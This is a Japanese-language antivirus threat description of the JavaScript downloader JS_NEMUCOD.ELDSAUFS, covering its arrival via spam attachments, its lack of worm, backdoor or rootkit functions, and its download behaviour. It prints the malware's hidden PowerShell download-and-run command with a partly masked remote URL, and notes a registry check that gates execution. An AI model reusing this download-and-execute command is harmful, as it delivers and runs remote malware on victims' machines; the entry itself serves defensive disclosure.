JS_NEMUCOD.ELDSAUFS

マルウェアは、他のマルウェアもしくはグレイウェア、または不正リモートユーザによるスパムメールに添付され、コンピュータに侵入します。 マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

マルウェアは、ワーム活動の機能を備えていません。

マルウェアは、バックドア活動の機能を備えていません。

マルウェアは、ダウンロードしたファイルを実行します。 ただし、情報公開日現在、このWebサイトにはアクセスできません。

侵入方法

マルウェアは、他のマルウェアもしくはグレイウェア、または不正リモートユーザによるスパムメールに添付され、コンピュータに侵入します。

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

感染活動

マルウェアは、ワーム活動の機能を備えていません。

バックドア活動

マルウェアは、バックドア活動の機能を備えていません。

ダウンロード活動

マルウェアは、以下のWebサイトにアクセスし、ファイルをダウンロードします。

• http://disk.{BLOCKED}dguys.org/3281.bin?bMQREY

マルウェアは、以下のファイル名でダウンロードしたファイルを保存します。

• %User Profile%\AppData\RoamingTAf79.Exe

(註：%User Profile% フォルダは、Windows 2000、XP および Server 2003 の場合、通常、"C:\Documents and Settings\＜ユーザ名＞"、Windows Vista 、 7 、8、8.1 、Server 2008 および Server 2012の場合、"C:\Users\＜ユーザ名＞" です。.)

マルウェアは、ダウンロードしたファイルを実行します。

ただし、情報公開日現在、このWebサイトにはアクセスできません。

マルウェアは、ダウンロード活動に以下の powershellコマンドを利用します。

• powershell.exe -executionpolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://disk.{BLOCKED}dguys.org/3281.bin?bMQREY','%User Profile%\AppData\RoamingTAf79.Exe'); staRt-process '%User Profile%\AppData\RoamingTAf79.exe'

マルウェアは、以下のレジストリ値をクエリして、その12番目の文字を不正活動に利用します。その12番目の文字が"F"でない場合、、マルウェアは自身の不正活動を実行しません。

• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramFilesDir

このマルウェアは、以下の文書ファイルを介して侵入します。マルウェアは文書ファイルに埋め込まれており、ユーザがクリックすると、実行されます。

マルウェアは、ルートキット機能を備えていません。

マルウェアは、脆弱性を利用した感染活動を行いません。